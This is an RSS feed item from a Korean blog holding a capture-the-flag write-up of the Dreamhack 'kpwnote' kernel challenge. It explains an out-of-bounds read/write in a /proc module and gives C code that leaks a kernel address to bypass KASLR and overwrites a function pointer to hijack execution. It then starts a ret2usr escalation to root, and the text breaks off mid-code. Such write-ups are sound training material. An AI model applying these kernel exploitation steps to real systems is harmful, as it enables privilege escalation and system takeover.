<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>My Life</title><link>https://dig06161.github.io/</link><description>Recent content on My Life</description><generator>Hugo -- 0.145.0</generator><language>ko-kr</language><lastBuildDate>Sat, 06 Jun 2026 14:30:00 +0900</lastBuildDate><atom:link href="https://dig06161.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>[Dreamhack] PWN kpwnote</title><link>https://dig06161.github.io/2026/06/06/dreamhack-pwn-kpwnote/</link><pubDate>Sat, 06 Jun 2026 14:30:00 +0900</pubDate><guid>https://dig06161.github.io/2026/06/06/dreamhack-pwn-kpwnote/</guid><description>드림핵 포너블 kpwnote 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 dreamhack의 kpwnote 문제다. 리눅스 커널 익스플로잇의 가장 기본이라고 추천받아 이번 기회에 풀어봤다.</p>
<p>문제 파일을 압축 해제하면 아래와 같은 파일들이 존재한다. 각 파일들에 대한 설명은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">kpwnote/
</span></span><span class="line"><span class="cl">└───[원본 제공]
</span></span><span class="line"><span class="cl">    ├── vmlinuz                 # 부팅용 커널 이미지 (bzImage, 압축)
</span></span><span class="line"><span class="cl">    ├── vmlinux                 # 디버그 심볼 포함 커널 ELF (분석/디버깅용)
</span></span><span class="line"><span class="cl">    ├── initramfs.img           # 루트 파일시스템 (cpio newc, 압축 안됨)
</span></span><span class="line"><span class="cl">    ├── linux-5.11.16.config    # 커널 빌드 설정 (보호기법 확인)
</span></span><span class="line"><span class="cl">    ├── linux-5.11.16.patch     # kpwnote 모듈을 커널에 통합한 패치
</span></span><span class="line"><span class="cl">    ├── linux-5.11.16/kpwnote/  # 취약 코드 소스 (impl.c, main.c ...)
</span></span><span class="line"><span class="cl">    ├── no-shutdown.dtb         # microvm용 디바이스 트리 (shutdown 억제)
</span></span><span class="line"><span class="cl">    └── run.sh                  # QEMU 부팅 스크립트
</span></span></code></pre></div><p>우선 qemu 부팅시 적용되는 보안 기법을 linux-5.11.16.config 에서 확인해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">╰─○ grep -E <span class="s1">&#39;CONFIG_(RANDOMIZE_BASE|PAGE_TABLE_ISOLATION|STATIC_USERMODEHELPER|HARDENED_USERCOPY|STACKPROTECTOR)&#39;</span> linux-5.11.16.config<span class="p">;</span> grep -- -append run.sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_RANDOMIZE_BASE</span><span class="o">=</span>y
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_STACKPROTECTOR</span><span class="o">=</span>y
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_STACKPROTECTOR_STRONG</span><span class="o">=</span>y
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_PAGE_TABLE_ISOLATION</span><span class="o">=</span>y
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_HARDENED_USERCOPY</span><span class="o">=</span>y
</span></span><span class="line"><span class="cl"><span class="c1"># CONFIG_HARDENED_USERCOPY_FALLBACK is not set</span>
</span></span><span class="line"><span class="cl"><span class="c1"># CONFIG_HARDENED_USERCOPY_PAGESPAN is not set</span>
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_STATIC_USERMODEHELPER</span><span class="o">=</span>y
</span></span><span class="line"><span class="cl"><span class="nv">CONFIG_STATIC_USERMODEHELPER_PATH</span><span class="o">=</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        -append <span class="s2">&#34;reboot=t panic=-1 console=hvc0 quiet&#34;</span> <span class="se">\
</span></span></span></code></pre></div><p>각 설정에 대한 설명은 다음과 같다.</p>
<table>
  <thead>
      <tr>
          <th>설정</th>
          <th>설명</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>RANDOMIZE_BASE=y</code></td>
          <td>KASLR 활성화 → leak으로 slide 역산 필요</td>
      </tr>
      <tr>
          <td><code>PAGE_TABLE_ISOLATION=y</code></td>
          <td>KPTI ON, 유저 복귀 까다로움</td>
      </tr>
      <tr>
          <td><code>STACKPROTECTOR(_STRONG)=y</code></td>
          <td>스택 카나리 활성화</td>
      </tr>
      <tr>
          <td><code>HARDENED_USERCOPY=y</code></td>
          <td>copy_*_user 경계검사로 슬랩/스택만 대상, 전역(.data) OOB는 안 막음</td>
      </tr>
      <tr>
          <td><code>SLAB_FREELIST_RANDOM=y</code></td>
          <td>슬랩 freelist 랜덤화. 힙 grooming 할 때만 의미, 이 문제 무관</td>
      </tr>
      <tr>
          <td><code>RETPOLINE = not set</code></td>
          <td>Spectre 완화 비활성화</td>
      </tr>
      <tr>
          <td><code>STATIC_USERMODEHELPER=y</code></td>
          <td>ON, 아래 PATH와 묶어서 해석</td>
      </tr>
      <tr>
          <td><code>STATIC_USERMODEHELPER_PATH &quot;&quot;</code></td>
          <td>빈 문자열, usermodehelper 완전 비활성</td>
      </tr>
  </tbody>
</table>
<p>우선 기본 설정을 보니 KASLR이 활성화 되어있어, 커널 slide leak이 필요하다. SMEP, SMAP 설정을 확인해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~ $ grep -o <span class="s1">&#39;smep\|smap&#39;</span> /proc/cpuinfo <span class="p">|</span> sort -u
</span></span><span class="line"><span class="cl">~ $ 
</span></span></code></pre></div><p>아무런 출력이 없다. 보호기법이 적용되지 않아, 커널은 유저모드 코드의 <code>commit_creds(prepare_kernel_cred(0));</code>같은 구문을 실행할 수 있다.</p>
<p>위 설정을 보아 커널의 slide 값을 leak하고 uid를 0으로 만들어 execve로 /bin/sh을 실행하면 성공할 것 같다.</p>
<p>이제 커널에 적용된 main.c 코드를 살펴보자.
lseek, read, write 함수에 대해 커널 코드를 사용하도록 설정되어 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="k">struct</span> <span class="n">proc_ops</span> <span class="n">my_fops</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="p">.</span><span class="n">proc_lseek</span> <span class="o">=</span> <span class="n">my_lseek</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	<span class="p">.</span><span class="n">proc_read</span> <span class="o">=</span> <span class="n">my_read</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	<span class="p">.</span><span class="n">proc_write</span> <span class="o">=</span> <span class="n">my_write</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>이 main.c가 참조하는 impl.c 파일을 확인하면 각 기능에 대한 코드를 확인할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define INITSTR &#34;hi\n&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="nf">DECLARE_RWSEM</span><span class="p">(</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">loff_t</span> <span class="n">tlen</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">INITSTR</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">tmp</span><span class="p">[</span><span class="mi">1024</span><span class="p">]</span> <span class="o">=</span> <span class="n">INITSTR</span><span class="p">;</span>
</span></span></code></pre></div><p>전역 변수부터 보자. <code>tmp</code>는 데이터를 담는 1024 바이트 버퍼이고 초기값으로 <code>&quot;hi\n&quot;</code>이 채워져 있다. <code>tlen</code>은 현재 유효한 데이터의 길이이며, <code>sem</code>은 <code>tmp</code>/<code>tlen</code>을 동시 접근으로부터 보호하는 rwsem이다. 즉 공격 표면은 <code>/proc/kpwnote</code>에 대한 read/write/lseek 함수를 통해 이루어진다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">ssize_t</span> <span class="nf">my_write</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">,</span> <span class="kt">loff_t</span> <span class="o">*</span><span class="n">ppos</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">size_t</span> <span class="n">n</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&gt;</span> <span class="n">OFFSET_MAX</span> <span class="o">||</span> <span class="o">*</span><span class="n">ppos</span> <span class="o">&gt;</span> <span class="n">OFFSET_MAX</span> <span class="o">-</span> <span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="o">-</span><span class="n">ENOSPC</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">res</span> <span class="o">=</span> <span class="nf">down_write_killable</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">n</span> <span class="o">=</span> <span class="nf">copy_from_user</span><span class="p">(</span><span class="n">tmp</span> <span class="o">+</span> <span class="o">*</span><span class="n">ppos</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">tlen</span> <span class="o">=</span> <span class="nf">max</span><span class="p">(</span><span class="n">tlen</span><span class="p">,</span> <span class="o">*</span><span class="n">ppos</span> <span class="o">+</span> <span class="p">(</span><span class="kt">loff_t</span><span class="p">)(</span><span class="n">count</span> <span class="o">-</span> <span class="n">n</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">up_write</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">==</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="o">-</span><span class="n">EFAULT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">count</span> <span class="o">-=</span> <span class="n">n</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="o">*</span><span class="n">ppos</span> <span class="o">+=</span> <span class="n">count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>여기에 이 문제의 취약점이 존재한다. 데이터를 쓰는 위치는 <code>tmp + *ppos</code>인데, <code>*ppos</code>의 상한을 검사하는 코드가 <strong><code>OFFSET_MAX</code>(약 2^63)와 비교하는 것뿐</strong>이다. 정작 버퍼의 실제 크기인 1024와 비교하는 경계검사가 없다. <code>*ppos</code>를 1024보다 크게 만들면 <code>tmp</code> 버퍼를 넘어 인접한 커널 전역 메모리에 그대로 쓸 수 있다(OOB Write).</p>
<p><code>*ppos</code>를 컨트롤 해야한다. 이 <code>lseek</code> 함수를 이용한다. <code>my_lseek</code>은 <code>*ppos</code>를 임의의 값으로 설정할 수 있게 해준다.</p>
<p>한 가지 더 봐둘 것은 <code>tlen</code> 갱신 로직이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="nf">copy_from_user</span><span class="p">(</span><span class="n">tmp</span> <span class="o">+</span> <span class="o">*</span><span class="n">ppos</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span>   <span class="c1">// n = &#34;복사 못 한&#34; 바이트 수
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">tlen</span> <span class="o">=</span> <span class="nf">max</span><span class="p">(</span><span class="n">tlen</span><span class="p">,</span> <span class="o">*</span><span class="n">ppos</span> <span class="o">+</span> <span class="p">(</span><span class="kt">loff_t</span><span class="p">)(</span><span class="n">count</span> <span class="o">-</span> <span class="n">n</span><span class="p">));</span> <span class="c1">// count - n = 실제 쓴 양
</span></span></span></code></pre></div><p><code>copy_from_user</code>는 복사한 양이 아니라 <strong>복사하지 못한 바이트 수</strong>를 반환한다. 따라서 <code>count - n</code>이 실제로 쓴 바이트가 되고, <code>tlen</code>은 &ldquo;지금까지 쓰여진 가장 먼 지점&rdquo;(high-water mark)으로 늘어나기만 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">ssize_t</span> <span class="nf">my_read</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">,</span> <span class="kt">loff_t</span> <span class="o">*</span><span class="n">ppos</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">res</span> <span class="o">=</span> <span class="nf">down_read_interruptible</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">tlen</span> <span class="o">&gt;</span> <span class="o">*</span><span class="n">ppos</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kt">size_t</span> <span class="n">n</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="kt">loff_t</span> <span class="n">maxlen</span> <span class="o">=</span> <span class="n">tlen</span> <span class="o">-</span> <span class="o">*</span><span class="n">ppos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">maxlen</span> <span class="o">&lt;=</span> <span class="n">SIZE_MAX</span> <span class="o">&amp;&amp;</span> <span class="n">count</span> <span class="o">&gt;</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="n">maxlen</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="n">count</span> <span class="o">=</span> <span class="n">maxlen</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="n">n</span> <span class="o">=</span> <span class="nf">copy_to_user</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">tmp</span> <span class="o">+</span> <span class="o">*</span><span class="n">ppos</span><span class="p">,</span> <span class="n">count</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">==</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="n">res</span> <span class="o">=</span> <span class="o">-</span><span class="n">EFAULT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="n">count</span> <span class="o">-=</span> <span class="n">n</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nf">up_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="o">*</span><span class="n">ppos</span> <span class="o">+=</span> <span class="n">count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>read도 <code>tmp + *ppos</code>에서 유저로 데이터를 복사하므로, write와 마찬가지로 <code>*ppos</code>를 키우면 <strong>OOB Read</strong>가 된다. 다만 read에는 <code>if (tlen &gt; *ppos)</code>라는 검증이 있다. 즉 읽으려는 위치가 <code>tlen</code>보다 작아야만 데이터를 돌려준다.</p>
<p>처음 <code>tlen</code>은 3이라, 멀리 떨어진 위치(예: 커널 전역이 있는 오프셋)를 그냥 읽으면 이 조건에 막혀 0바이트가 반환된다. 그런데 <code>tlen</code>을 키우는 곳은 앞서 본 <code>my_write</code>의 한 줄뿐이다. 따라서 OOB Read를 하려면 먼저 write가 선행되어 <code>tlen</code>을 읽으려는 위치 너머까지 늘려놓아야 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">loff_t</span> <span class="nf">my_lseek</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">loff_t</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">int</span> <span class="n">whence</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">loff_t</span> <span class="n">res</span><span class="p">,</span> <span class="n">eof</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">res</span> <span class="o">=</span> <span class="nf">down_read_interruptible</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">eof</span> <span class="o">=</span> <span class="n">tlen</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">up_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sem</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="nf">generic_file_llseek_size</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">whence</span><span class="p">,</span> <span class="n">OFFSET_MAX</span><span class="p">,</span> <span class="n">eof</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>my_lseek</code>은 <code>eof = tlen</code>을 구한 뒤 실제 위치 계산/저장을 <code>generic_file_llseek_size</code>에 위임한다. read/write에 인자로 넘어오는 <code>*ppos</code>는 사실 커널이 파일마다 보관하는 <code>file-&gt;f_pos</code>이고, 그 값을 설정하는 것이 바로 lseek이다. 즉 유저는 <code>lseek(fd, X, SEEK_SET)</code>로 <code>*ppos</code>를 원하는 위치에 둔 뒤 read/write를 호출하는 식으로 OOB 위치를 제어한다.</p>
<p><code>generic_file_llseek_size</code>는 내부적으로 <code>vfs_setpos</code>를 호출하는데, 이 함수가 음수 오프셋을 거부(<code>offset &lt; 0</code> → <code>-EINVAL</code>)한다. 따라서 <code>*ppos</code>는 항상 0 이상이고, 결국 우리의 OOB는 <code>tmp</code>보다 높은 주소 방향(forward)으로만 가능하다. 따라서 <code>tmp</code>보다 낮은 주소에 있는 <code>modprobe_path</code> 같은 위치에는 도달할 수 없다.</p>
<p>impl.c를 통해 사용가능한 취약점은 다음과 같다.</p>
<ul>
<li>전역 버퍼 <code>tmp</code>를 기준으로 앞쪽 위치로의 OOB Read/Write</li>
<li>위치는 <code>lseek</code>(<code>*ppos</code>)으로 제어</li>
<li>Read는 <code>tlen</code> 게이팅이 있어, write로 <code>tlen</code>을 먼저 키운 뒤 read해야 함</li>
</ul>
<p>커널의 <code>tmp</code> 뒤 +0x460 위에는 main.c에서 본 함수 포인터 표 <code>my_fops</code>가 놓여 있다. 즉 OOB로 <code>my_fops</code> 안의 함수 포인터를 읽어 KASLR slide를 leak하고, <code>my_fops</code>에 write 하여 특정 함수를 다른 위치로 조작할 수 있다.</p>
<h2 id="kaslr-leak">KASLR Leak</h2>
<p>먼저 leak할 위치를 정하자. <code>my_fops</code>(struct proc_ops) 안에는 <code>my_read</code>/<code>my_write</code>/<code>my_lseek</code>의 커널 함수 주소가 들어있다. 이 중 하나를 읽으면 KASLR로 랜덤화된 커널 주소가 새고, nm으로 본 정적 주소와 빼면 slide를 구할 수 있다.</p>
<p>오프셋은 <code>nm vmlinux</code>로 계산한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ nm vmlinux <span class="p">|</span> grep -wE <span class="s1">&#39;tmp|my_fops|my_read&#39;</span>
</span></span><span class="line"><span class="cl">ffffffff81cab6a0 d tmp
</span></span><span class="line"><span class="cl">ffffffff81cabb00 d my_fops
</span></span><span class="line"><span class="cl">ffffffff812b4880 T my_read
</span></span></code></pre></div><p><code>my_fops - tmp = 0x460</code>이고, struct proc_ops에서 <code>proc_read</code>(= my_read 포인터)는 구조체 시작에서 <code>+0x10</code> 위치다. 따라서 <code>my_read</code> 포인터는 <code>tmp + 0x470</code>에 있다.</p>
<p>여기서 impl.c 분석 때 본 <code>tlen</code> 게이팅이 걸린다. <code>0x470</code>을 읽으려면 <code>tlen</code>이 그보다 커야 하는데 처음엔 3이다. 그래서 읽을 포인터(0x470)는 건드리지 않으면서 <code>tlen</code>만 키우기 위해, 그 뒤쪽인 <code>0x478</code>(proc_read_iter, NULL이 존재하며 사용하지 않는 영역)에 write를 먼저 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/proc/kpwnote&#34;</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x478</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>    <span class="c1">// proc_read 포인터(0x470)보다 뒤에 write
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>             <span class="c1">// tlen = 0x480 으로 확장 (포인터는 보존)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x470</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>    <span class="c1">// proc_read 슬롯
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">leak</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">leak</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>            <span class="c1">// 이제 tlen &gt; ppos 통과 → leak
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">printf</span><span class="p">(</span><span class="s">&#34;leak = 0x%lx</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">leak</span><span class="p">);</span>
</span></span></code></pre></div><p>실행하면 read 함수에 대한 커널 주소를 leak할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">read 8 bytes, leak=0xffffffffaa2b4880
</span></span></code></pre></div><p>하위 비트 <code>...2b4880</code>이 nm의 <code>my_read</code>(<code>...812b4880</code>)와 일치하니 제대로 읽은 것이다. slide를 계산하면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">slide = leak - my_read(static)
</span></span><span class="line"><span class="cl">      = 0xffffffffaa2b4880 - 0xffffffff812b4880
</span></span><span class="line"><span class="cl">      = 0x29000000
</span></span></code></pre></div><p>이제 모든 커널 심볼의 런타임 주소는 <code>정적주소 + slide</code>로 구할 수 있다.</p>
<h2 id="흐름-조작">흐름 조작</h2>
<p>leak으로 KASLR을 우회했으니 이번엔 write로 <code>my_fops</code>의 함수 포인터를 덮어본다. <code>proc_read</code>(0x470)를 알아보기 쉬운 값으로 덮고 read를 호출하면, 커널이 그 값을 함수 주소로 보고 점프한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">fake</span> <span class="o">=</span> <span class="mh">0x61616161</span><span class="p">;</span>   <span class="c1">// &#39;aaaa&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x470</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">fake</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>               <span class="c1">// proc_read 덮기
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nf">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mh">0x470</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">b</span><span class="p">;</span> <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>           <span class="c1">// 트리거
</span></span></span></code></pre></div><p>실행하면 커널이 우리가 쓴 주소에서 죽는다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[    6.689181] general protection fault: 0000 [#1] SMP NOPTI
</span></span><span class="line"><span class="cl">[    6.690250] RIP: 0010:0xf73ec00061616161
</span></span></code></pre></div><p>RIP 하위에 우리가 쓴 <code>0x61616161</code>(&lsquo;aaaa&rsquo;)이 그대로 들어갔다. 즉 <code>proc_read</code>를 원하는 주소로 덮으면 실행 흐름(RIP)을 완전히 가져올 수 있다는 것이 증명됐다. 8바이트를 정확히 쓰면 RIP 전체를 제어할 수 있다.</p>
<h2 id="ret2usr">ret2usr</h2>
<p>보호기법 확인에서 SMEP/SMAP이 비활성화 된 것을 확인했다. SMEP가 꺼져 있으면 커널이 유저랜드 코드를 실행할 수 있다. 따라서 권한상승 로직을 담은 유저 함수를 만들고, <code>proc_read</code>를 그 함수 주소로 덮으면 커널이 대신 실행한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">commit_creds</span><span class="p">)(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">);</span>
